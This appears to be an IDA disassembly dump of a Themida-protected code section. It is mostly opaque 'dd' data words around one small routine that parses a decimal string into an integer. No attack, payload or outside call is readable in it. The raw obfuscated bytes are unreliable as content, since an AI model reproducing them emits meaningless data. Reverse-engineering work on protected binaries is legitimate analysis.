		dd 1A04h, 0C3564600h, 1ED8C1B4h, 0B2FB724Fh, 0F4B58B99h
		dd 0C706295Dh, 6, 9EB58B00h, 0C706295Bh, 6, 0BF0FCF00h
		dd 198501D1h, 66062932h, 0D631EB81h, 3511BD83h,	0F000629h
		dd 14F84h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 3DEDE02Bh, 0FDF5284h, 68Ch, 0A5BD2900h
		dd 8306290Dh, 290481BDh, 850F0106h, 0E5h, 8BD2BF0Fh, 294D018Dh
		dd 6880F06h, 9000000h, 291601B5h, 1C606h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Ah, 0BC35646h, 9FF202F0h
		dd 60F94E79h, 0E768B1B2h, 0F7BE2D0h, 28Eh, 81BDB700h, 0D0672434h
		dd 48BB7BE2h, 6A30B1A4h, 69C780FFh, 0F5D95FFh, 61F50629h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 9EC35747h
		dd 93245990h, 0F84C4B87h, 95FF7DB6h, 6291EE5h, 16C98D89h
		dd 8D8B0629h, 6294D01h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 23C35545h, 0F6DA388h,	680h, 0A9958B00h
		dd 0FE062913h, 0E8CCB201h, 0Ah,	0B0C25BF3h, 0D7684328h
		dd 0B4604F69h, 820F83h,	61000000h, 0CDBD835Bh, 106291Dh
		dd 22850Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 55A565C3h, 81659836h, 8166C08Bh
		dd 832619D3h, 29309DBDh, 9750006h, 75BD83h, 74000629h
		dd 8B53501Ah, 5858BC0h,	89062931h, 29310585h, 0A29D8D06h
		dd 0FF062BAAh, 83585BD3h, 290075BDh, 18740006h,	858B5350h
		dd 6293105h, 31058589h,	9D8D0629h, 62BA791h, 585BD3FFh
		dd 11E9952Bh, 0BF0F0629h, 0B2C08BDAh, 83F88AC1h, 293511BDh
		dd 850F0006h, 3Fh, 6E950h, 0E61E0000h, 246FA537h, 69BD835Ah
		dd 62900h, 25840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h
		dd 44810424h, 1D0424h, 50400000h, 497BCC3h, 0CFB18B32h
		dd 8376039Dh, 293511BDh, 840F0006h, 38h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Bh, 41C35343h, 8392BBA0h
		dd 8B39AEB2h, 0DBD83D0h, 6292Dh, 6840Fh, 8D890000h, 62924E1h
		dd 3511BD83h, 0F000629h, 3184h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 3D7AA206h
		dd 8B59307Bh, 0DBD83D7h, 6292Dh, 840Fh,	0BD830000h, 6293511h
		dd 3E840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 166FC355h, 54E63DC7h
		dd 0E2D64AB0h, 1E95BD83h, 0F000629h, 0C84h, 6890F00h, 31000000h
		dd 290961BDh, 11BD8306h, 62935h, 2A840Fh, 81660000h, 892C5BD2h
		dd 29135595h, 81BD8306h, 62916h, 12840Fh, 9D890000h, 6290975h
		dd 23D995FFh, 85890629h, 62916E1h, 33B6C08Bh, 309DBD83h
		dd 75000629h, 75BD8309h, 62900h, 53501A74h, 858BC08Bh
		dd 6290DA1h, 0DA18589h,	9D8D0629h, 62BAB09h, 585BD3FFh
		dd 75BD83h, 74000629h, 8B535018h, 290DA185h, 0A1858906h
		dd 8D06290Dh, 2BA7AA9Dh, 5BD3FF06h, 11BD8958h, 0E9062909h
		dd 13h,	0EDFDEB2Ch, 0E1831778h,	0B5723902h, 0ED54F972h
		dd 8B3B6D29h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 0F7E443C4h, 0C58D67F9h, 9D8B6E19h
		dd 6292941h, 3511BD83h,	0F000629h, 3BD84h, 0D78B6600h
		dd 3115BD83h, 0F020629h, 1B84h,	0D8BF0F00h, 281DBD83h
		dd 0F010629h, 0B85h, 6E900h, 0B0C30000h, 0E1C3B043h, 0E19D0B60h
		dd 8B06290Eh, 294D018Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 10E9CDE4h, 0B6000000h
		dd 0B9727575h, 0C4FDA033h, 8EAC4235h, 664C3747h, 0FEC826BAh
		dd 59D3301h, 68062904h,	76485BCAh, 0D98B6660h, 61FB8B66h
		dd 4A243481h, 2976485Bh, 2928F98Dh, 41E28106h, 6A03E549h
		dd 51006AFFh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 51958B02h, 0FF06292Eh, 290F5D95h, 2D8D0106h
		dd 61062908h, 14E9h, 4FE3BB00h,	989116E1h, 229C34B6h, 93060D19h
		dd 0AFD03369h, 0E9BD8DF1h, 50062916h, 5AD38B66h, 6A1C4F8Bh
		dd 759D8901h, 5006291Fh, 11E8h,	0A2748300h, 9344D550h
		dd 0B4849FA7h, 626CAF55h, 0BB6688B0h, 895B3068h, 958B240Ch
		dd 629204Dh, 25499589h,	858D0629h, 62C3927h, 8D952B51h
		dd 5B062925h, 8166D0FFh, 8BB8A6D2h, 9D8B204Fh, 6291135h
		dd 6A036Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0CBCAD1C3h, 8B12CB16h, 292B6995h,	13E89106h
		dd 11000000h, 0F0106856h, 4BDBBD1h, 835B1220h, 0FDDD1685h
		dd 0ABBA567Fh, 5A7D4FE3h, 0D08B6650h, 50006A91h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
		dd 4C1DF96Dh, 858D2234h, 62C3927h, 0FA104ABBh, 6AD0FF7Ch
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0FC7BC356h, 0BD8DD496h, 62916E9h,	0E5ACD281h
		dd 4F8B0AC5h, 0AD958B1Ch, 6A062911h, 0BE901h, 0FE960000h
		dd 8A27AF56h, 0EF2123AAh, 52505011h, 0BA66310Fh, 585A96E2h
		dd 0BA240C89h, 0D82ECDEh, 3927858Dh, 0FFFC062Ch, 50006AD0h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 76B90F53h, 86F38153h, 5A4DEAA2h, 89204F8Bh, 290709B5h
		dd 6A036A06h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 8C16C353h, 0AE8B310Eh,	91DE8A70h
		dd 2F58F6BAh, 52505000h, 310FD2B2h, 585A27B3h, 0B1B52991h
		dd 8D062905h, 2C392785h, 7DD9BB06h, 0D0FF7BBCh,	0ADF28166h
		dd 18D8B1Eh, 0E906294Dh, 10h, 0B643CEE8h, 767591BDh, 3F88BF60h
		dd 61CD9012h, 852901FEh, 6291ED9h, 4D01858Bh, 950B0629h
		dd 6293269h, 0FEDE8Bh, 2850Fh, 3BB70000h, 6A016Ah, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0C5A2D3C3h, 5B07F1F8h, 89958B66h, 0E8062928h, 4, 0FFFF9FFFh
		dd 50D68B66h, 448B54B6h, 52500424h, 0CE8h, 7DF66A00h, 0D07D9EB8h
		dd 36B86509h, 10E845h, 75240000h, 8932428Bh, 0CD950A41h
		dd 0FC24894h, 5B5B935Eh, 8B66310Fh, 8B585AD6h, 99BA5700h
		dd 5A78830Fh, 4244489h,	8B616060h, 6A5861C7h, 3E85700h
		dd 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0E878C357h
		dd 13h,	0AA42D399h, 0B28C7AABh,	5F363211h, 70B4A164h, 0BA0F21C3h
		dd 4DF3086Ch, 31858D5Bh, 0E8062C39h, 8,	0DFBC2B92h, 9F8B50B8h
		dd 0D0FF5BF9h, 7E9h, 0D62D5500h, 0EDC163A3h, 2FD19589h
		dd 0BD830629h, 6290069h, 0E2840F00h, 8B000000h,	2933599Dh
		dd 599D3306h, 8306292Ah, 291A29BDh, 850F0106h, 0C9h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 7DC35545h, 952960ADh
		dd 62928A9h, 19E18531h,	8D610629h, 2C393B8Dh, 36C28106h
		dd 6A533705h, 13E903h, 9AAC0000h, 0FF270AABh, 29B21461h
		dd 8BEFFB64h, 963A72DCh, 66016A2Ah, 30EEA81h, 8B66D1FFh
		dd 0B1CB80D7h, 6AF9016Ah, 0DB816601h, 0BE9D02Ah, 9F000000h
		dd 4AB9BB5Dh, 4668FC15h, 0D1FF17AFh, 1E998589h,	0B3520629h
		dd 1BE85A81h, 6AFA3270h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 7CA9C356h, 0FC6515CDh
		dd 0DE8A058h, 15000000h, 57B3C8F2h, 3AF5D2FCh, 89DCD85Fh
		dd 35159589h, 8A5A0629h, 8B206AF7h, 4D9D01D3h, 6A06290Ah
		dd 55006AFFh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 79B6EC41h, 0F5D95FFh, 6A0629h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 8B7871C3h
		dd 8A4BC507h, 0D88B6616h, 0B86ACF80h, 0
		dd 0C9DAF4BBh, 0FC00B72h, 5E84h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0E94556E4h
		dd 6, 7178274Dh, 0BF0FEBD5h, 853360D7h,	6291275h, 5B48EA81h
		dd 836122E7h, 290CEDBDh, 840F0006h, 17h, 1DC59529h, 9D090629h
		dd 6292DB9h, 2D9995FFh,	3BBB0629h, 8B4FC667h, 29182985h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 593E299Ch, 8878B2BAh, 0C61Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0D9C35545h, 323E60AFh
		dd 37B966Dh, 2907099Dh,	458D8906h, 5806290Eh, 8C66D38Bh
		dd 53006AD9h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 0A7FB5C94h, 85292C37h, 6292B49h,	0F04C1F6h
		dd 4384h, 0E9858900h, 0E9062923h, 38h, 0B58BF48Ah, 6291E35h
		dd 2CD99D8Bh, 0C6810629h, 1180h, 6C7F5B6h, 0
		dd 14E8h, 0D65D3000h, 0F509C053h, 2D518CAFh, 0BF04029Ah
		dd 6D09E8CCh, 5AEEB61Bh, 50006A5Eh, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 47D786BBh, 0D8D3136h
		dd 2906291Fh, 29161D95h, 10BBB06h, 0F8831D81h, 0EE840F00h
		dd 0E800000Ah, 6, 76D10567h, 0F5BB21A4h, 5A074155h, 1F883F9h
		dd 144850Fh, 800F0000h,	3, 0B8D88B66h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0DEC35545h
		dd 0E8925069h, 12h, 0D60F4C8h, 0D5A0EE7h, 0A5547149h, 3B8141EEh
		dd 5BF9505Ch, 840FC00Bh, 84h, 28859D8Bh, 0F8830629h, 0AB840F01h
		dd 1000000h, 29117D8Dh,	3F88306h, 4B840Fh, 8D290000h, 62933F1h
		dd 0B880Fh, 6E90000h, 47000000h, 0E68D0EF0h, 89C02B64h
		dd 291AD99Dh, 0E0BD8D06h, 6A005B89h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 234CC350h
		dd 89E7FFA3h, 292041BDh, 1B806h, 0D98B0000h, 0A4F35DBAh
		dd 0E0BD8D51h, 0F5005B89h, 9D89E7FFh, 6290D55h,	438DBD8Dh
		dd 6A0629h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 8E0F8CC3h, 6, 0EE1BD29h, 0D9E90629h, 80000002h
		dd 85C797E3h, 6294D5Ch,	5, 0C8EB8166h, 5B8CDh, 958B0000h
		dd 6290409h, 8FCE9h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 0F8832C13h, 22850F02h
		dd 80000001h, 0B81FE7h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0E8DBC356h
		dd 8726B50Eh, 669BF124h, 0BB66D08Bh, 0C00B263Ch, 0A6840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 8D892BC3h, 62909DDh, 0DE9h, 1DE3D100h, 3515DD7Eh
		dd 6C3DC529h, 6E93308h,	0C000000h, 0B2652B61h, 1F88350h
		dd 0FF38840Fh, 8C0FFFFFh, 6, 30A1B531h,	0F8830629h, 0D2840F03h
		dd 81FFFFFEh, 3DC95CC2h, 8AC02B42h, 0E0BD8DD4h,	89005B89h
		dd 2930118Dh, 85896006h, 629308Dh, 11860Fh, 0CE90000h
		dd 3D000000h, 0A954C516h, 5908E257h, 61667C2Ch,	0DE9E7FFh
		dd 46000000h, 5F272A4Fh, 1B10192Fh, 5111C320h, 4585BD8Dh
		dd 6A0629h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0DFC346C3h, 0A1D326B9h, 0E9F9D689h, 180h
		dd 169D9D8Bh, 8E0F0629h, 5, 0D9B70F57h,	3F8835Bh, 38850Fh
		dd 958B0000h, 6290FB9h,	4719BD8Dh, 8D290629h, 6292DADh
		dd 0E9D18B66h, 14Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 93C35646h, 0F88324E7h, 25850F05h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 6080C351h, 46E906D9h, 0F5000007h,	0F06F883h
		dd 7785h, 6800F00h, 8B000000h, 2907B995h, 0A8D0F06h, 60000000h
		dd 0BD8B6160h, 6292B79h, 11BD8D61h, 6A062949h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0AAD4C351h, 0D888B24Dh, 8BDE740Fh, 291AF195h, 0A6E906h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 9228A9C3h, 0EC3681C2h, 0D7BF0F85h, 0F07F883h
		dd 5A85h, 8BA6600h, 0BDBD8DCAh,	6A06291Bh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 110DC350h
		dd 8BB7547Bh, 2908C195h, 10AE906h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 0B6D77FC3h
		dd 7CBA0E39h, 83371BD8h, 850F0AF8h, 14h, 8D56F680h, 294B09BDh
		dd 0C86ABB06h, 1E97ED3h, 0FC000000h, 7ABB6657h,	0E8D7B926h
		dd 80600EA9h, 5E9C6F0h,	4C000000h, 794730E9h, 3F8361h
		dd 7A840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0F4D09C3h, 28498589h, 8B570629h
		dd 291EA99Dh, 0F305B06h, 2CC19D89h, 0C9D10629h,	1415B589h
		dd 23470629h, 2907999Dh, 0FFAFE906h, 6AFFFFh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0AE239C3h
		dd 29F53BC8h, 9E95485h,	0C000000h, 0B2985D6Ah, 4A8804E5h
		dd 57006A5Fh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 66EE305Ah, 31149E11h, 95890AD1h,	62929DDh
		dd 4D05BD89h, 0D2810629h, 26D519DCh, 26898D8Dh,	9D290629h
		dd 6292019h, 23EDB5FFh,	95230629h, 6292685h, 0A473858Dh
		dd 8D50062Bh, 295430BDh, 828D8D06h, 0B806296Dh,	54831ABCh
		dd 730CF2Bh, 4947C8D0h,	0B58DF875h, 6296D18h, 6D9A8D8Dh
		dd 0CF2B0629h, 0C933A4F3h, 0B8h, 74C00B00h, 0EDBD8346h
		dd 6290Ch, 95FF0674h, 6292D99h,	4D05B58Bh, 858D0629h, 62BA473h
		dd 858DD0FFh, 6294322h,	85C7D0FFh, 6290D5Dh, 1,	1AF9A58Bh
		dd 0B58B0629h, 6291039h, 202DAD8Bh, 0C0330629h,	6A000CC2h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0C854C355h, 57006A55h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 5E48E020h
		dd 398D3116h, 8306292Dh, 2905ADBDh, 840F0006h, 1Ch, 7CF38166h
		dd 0F595FF5Bh, 0E9062927h, 0Ch,	0A72ACF48h, 2A763F0Ch
		dd 0E02E8848h, 11FDBD83h, 0F000629h, 16985h, 0DFBF0F00h
		dd 1A29BD83h, 0F010629h, 15985h, 0F99D8B00h, 83062911h
		dd 2904E9BDh, 840F0006h, 146h, 5820Fh, 18BA0000h, 0F5425FC8h
		dd 4D58BD83h, 0F000629h, 12D84h, 0CB816600h, 858D1E41h
		dd 62BA473h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	0ADC35747h, 44B17EA9h, 445DFE3Fh, 4919D89h, 89600629h
		dd 293335BDh, 61C78B06h, 4D05B58Bh, 65BA0629h, 0FF2F60FDh
		dd 799589D0h, 0C6062904h, 291B5985h, 8C0F5406h,	6, 2E799D29h
		dd 4E80629h, 0F4000000h, 0E9FF4EBEh, 7,	2C1391B3h, 50F33B1Eh
		dd 710094BAh, 24448B7Dh, 66525004h, 0F8F93BAh, 41BA6631h
		dd 8B585A43h, 899FB700h, 58042444h, 5E9h, 112EDB00h, 0CB81D796h
		dd 22250A0Eh, 2639B5FFh, 8A0F0629h, 3, 8DD98B66h, 293B7285h
		dd 72BB6606h, 23D0FFEEh, 2910099Dh, 31006A06h, 2927998Dh
		dd 0FFF6A06h, 9D29DEBFh, 6290A8Dh, 0FFF8D0FFh, 2927B9B5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 6547C9Ah, 37877FB4h, 800F2F0Ch, 0Eh, 850F60h
		dd 8B000000h, 2900818Dh, 95FF6106h, 62923EDh, 0E71958Bh
		dd 0B58B0629h, 6294D05h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 17h, 19C35646h, 89B355D0h,	2923F59Dh, 8BFCC306h
		dd 291829B5h, 39858906h, 0B06291Fh, 11840FF6h, 0BB000000h
		dd 74E495C5h, 310006C6h, 29324DB5h, 0ADD78006h,	4D0D8589h
		dd 9D290629h, 62925EDh,	0F00F883h, 33C84h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
		dd 0FEBB7CCFh, 81FACEA1h, 0EC3BD1C3h, 0B844h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0DE8A49C3h, 0F00F883h, 0CA84h, 4D9D8B00h, 8306290Dh
		dd 850F02F8h, 0A2h, 0C85958Bh, 858D0629h, 6294388h, 2771B589h
		dd 292D0629h
		dd 0E8000009h, 11h, 0A7E10EBCh,	6330858Dh, 671F57BCh, 5B174003h
		dd 359D8BD6h, 5A062923h, 0F7A1BA90h, 60502039h,	12E8h
		dd 0A43E7A00h, 473DEE69h, 0B048A2FCh, 0E3CFD71Eh, 8BA2CD83h
		dd 2DB65ACAh, 6A9061h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 97C1ADC3h, 8D898DF3h, 6292E05h
		dd 57006AC3h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 5593BAFAh, 0B87E4Dh, 66000000h, 9D8BD88Bh
		dd 6291801h, 224E9h, 0FD9D0900h, 0B806291Dh, 1,	21958Bh
		dd 0BD8D0629h, 629438Dh, 1A59958Bh, 0A1E90629h,	8B000000h
		dd 2F883DAh, 19850Fh, 9D8B0000h, 6291A6Dh, 4585BD8Dh, 81660629h
		dd 0E9894FD3h, 80h, 83D8BF0Fh, 850F03F8h, 54h, 659958Bh
		dd 0BD8D0629h, 6294719h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 0FDC35545h, 0F392CB96h, 0BD89B01Eh, 6292D89h
		dd 3BE9h, 5E900h, 56C60000h, 0E83A8F47h, 8, 0EED2B7C6h
		dd 0D48C44B0h, 5AD2EF80h, 0F05F883h, 1785h, 0A99D0900h
		dd 0E9062934h, 0BDh, 2B198589h,	9D8B0629h, 6292B85h, 55006A57h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0E8D7B9D9h, 6A0EA9h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 0F2B22AC3h, 0F003F83h, 6884h, 359D8B00h
		dd 30062904h, 0B58B600Fh, 6292429h, 1431BD89h, 0D1610629h
		dd 56006AC9h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 0C4EB95E0h, 6647820Bh, 0E923F5BAh, 0FFFFFFB4h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0D9C35747h
		dd 0C6393E89h, 0B58EDDDh, 5F88356h, 0A7850Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 9D89E1C3h, 6291889h,	6AD98C66h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0A3BC351h
		dd 99D4D57h, 858BFC60h,	62911DDh, 4C1F661h, 41850Fh, 89600000h
		dd 2928A59Dh, 0AE906h, 49350000h, 0C8E326C9h, 0C79AA01Ah
		dd 0B861h, 8B70000h, 11E8h, 20804500h, 2782C1BEh, 0FA6F9B67h
		dd 38420937h, 0D5BBCB6Bh, 5B7BB2B1h, 10E9h, 8BF08A00h
		dd 2912A185h, 319D8B06h, 0FF062909h, 0EDBD83E0h, 62923h
		dd 0E8850Fh, 0BA660000h, 0E8904604h, 12h, 7824B00Eh, 0CC971444h
		dd 85374640h, 0E8C1652h, 95B68B31h, 5250505Bh, 6E8h, 0C36D2100h
		dd 0F1FE24Ch, 8Eh, 310F5B00h, 0A462BA53h, 5A5A140Eh, 6A9058h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 55F672C3h, 890FDCB9h, 1, 0F19D23F9h,	0C6062923h, 291B5985h
		dd 0B5894506h, 6290FB5h, 1FD9B68h, 5840F25h, 0BA000000h
		dd 5B8633C1h, 0CE240481h, 8969706Bh, 2909518Dh,	39B5FF06h
		dd 31062926h, 2933B585h, 72858D06h, 906293Bh, 2921199Dh
		dd 8BD0FF06h, 29327D9Dh, 0ED858906h, 6A062923h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 73C8C351h, 3A6F5B7Eh, 580EC961h, 32398D89h, 0BD830629h
		dd 6294D5Ch, 4E840F00h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 2A40C353h
		dd 0BE9D2h, 90530000h, 0D3738BA4h, 0C9DF939Ch, 0B9B5FF6Ch
		dd 0F062927h, 88Eh, 0BD895700h,	6290C59h, 0ED95FF5Ah, 81062923h
		dd 0E08067C3h, 0F88340h, 97850Fh, 9D8B0000h, 62923E5h
		dd 1109BD83h, 0F000629h, 3284h,	9606000h, 292A71BDh, 658D2906h
		dd 61062905h, 14019D89h, 0FF610629h, 291109B5h,	0C9B58906h
		dd 0B8062915h, 1, 0E9D88B66h, 247h, 0FFFCE380h,	2927B9B5h
		dd 5E806h, 0AD6C0000h, 5B610B39h, 27B9B5FFh, 0F530629h
		dd 815AD7BFh, 929711CAh, 0EDB5FF3Ah, 8A062923h,	0D9958BF9h
		dd 0E9062907h, 20Fh, 305DB589h,	0BE80629h, 4A000000h, 0A61F500Ch
		dd 69F162DFh, 9D8B0991h, 629119Dh, 880F5F5Bh, 1, 0E38166F8h
		dd 0BD834E79h, 629326Dh, 26850F00h, 0BA000001h,	2A3BF125h
		dd 5985C6F9h, 4D06291Bh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0AAC35545h, 6E89A91Eh, 6641976Fh, 2679C381h
		dd 4E8h, 3576A800h, 0BA6656A4h,	505A3E66h, 890F6052h, 0
		dd 10E8h, 149D2600h, 0B5D41F8Eh, 90142F24h, 0B60BF8BFh
		dd 5A615B55h, 424448Bh,	2810Fh,	0DE8B0000h, 4489008Bh
		dd 0CE90424h, 0E7000000h, 5E75AE8h, 30DF4451h, 58C7E93Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0AAC35646h
		dd 0DB86672Ch, 6E944h, 0C6610000h, 99221C35h, 1875B5FFh
		dd 8DF50629h, 293B7285h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 9D60A4C7h, 0B0B313FEh
		dd 14E8h, 0BC6CF100h, 8DA7E10Eh, 0BC633085h, 3671F57h
		dd 0D65B1740h, 5BDF8B91h, 8166D0FFh, 89C037DAh,	29326D85h
		dd 0DE806h, 56C40000h, 0D37FA0E5h, 4D6156E8h, 808AE8F7h
		dd 0B25A4BE2h, 0B878h, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 85F8E9C3h, 0CE8h, 0DD752E00h
		dd 0ED07A31Ah, 53FDA90Ah, 0DFB70FD1h, 5BD895Bh,	0E806294Dh
		dd 0Dh,	861AFE72h, 6F8938D0h, 6934E978h, 0D99D8B5Eh, 5B06292Dh
		dd 840FC00Bh, 0Dh, 7DB8166h, 49E9A0h, 8B660000h, 0EDB5FFDFh
		dd 8B062923h, 291F499Dh, 73858D06h, 89062BA4h, 2911B1B5h
		dd 0E8525006h, 7, 889C7A1Bh, 0E9533312h, 0Ah, 0A39C0363h
		dd 4A1739A1h, 5A5A2A83h, 0F240489h, 688h, 698D8900h, 50062930h
		dd 30BD8D56h, 8D062954h, 2977688Dh, 23BCB806h, 0CF2B7483h
		dd 0C8D00730h, 0F8754947h, 0BD83585Eh, 6291109h, 8B067400h
		dd 2917518Dh, 0B8C93306h, 0
		dd 840FC00Bh, 0A8h, 0CEDBD83h, 74000629h, 9995FF06h, 0B806292Dh
		dd 0
		dd 975C00Bh, 4D0DBD83h,	74010629h, 0DBD8309h, 206294Dh
		dd 0B58B0E75h, 6294D05h, 0A473858Dh, 0D0FF062Bh, 5ADBD83h
		dd 74000629h, 0F595FF06h, 8D062927h, 29432285h,	83D0FF06h
		dd 293115BDh, 2F750206h, 1AF9A58Bh, 858B0629h, 6291109h
		dd 0C7240489h, 290D5D85h, 106h,	9B58B00h, 8B06294Dh, 29202DADh
		dd 1B806h, 0CC20000h, 0C700EB00h, 290D5D85h, 106h, 0F9A58B00h
		dd 8B06291Ah, 291039B5h, 2DAD8B06h, 33062920h, 0CC2C0h
		dd 5ADBD83h, 74000629h,	0F5BD830Fh, 62927h, 95FF0674h
		dd 62927F5h, 4D05B58Bh,	6AC30629h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0FEAEC352h
		dd 89D68B66h, 290DDD9Dh, 6AD22B06h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0A120C356h
		dd 68D0F51h, 89000000h,	2930F18Dh
		db 6, 5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_54F28A
; ---------------------------------------------------------------------------


loc_54F288:				; CODE XREF: Themida_:0054F28Dj
		inc	eax
		inc	edi


loc_54F28A:				; CODE XREF: Themida_:0054F286j
		cmp	byte ptr [edi],	0
		jnz	short loc_54F288
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_54F2B9
; ---------------------------------------------------------------------------


loc_54F296:				; CODE XREF: Themida_:0054F2BBj
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_54F2AE
; ---------------------------------------------------------------------------


loc_54F2AB:				; CODE XREF: Themida_:0054F2B1j
		mul	ebx
		dec	esi


loc_54F2AE:				; CODE XREF: Themida_:0054F2A9j
		cmp	esi, 0
		ja	short loc_54F2AB
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_54F2B9:				; CODE XREF: Themida_:0054F294j
		or	eax, eax
		jnz	short loc_54F296
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		db 0B6h
		dd 0E38166ACh, 0C18BA306h, 1ADE9h, 748B6000h, 7C8B2424h
		dd 0B2FC2824h, 46068A80h, 0BB470788h, 2, 850FD202h, 5
		dd 1246168Ah, 0E2830FD2h, 2FFFFFFh, 5850FD2h, 8A000000h
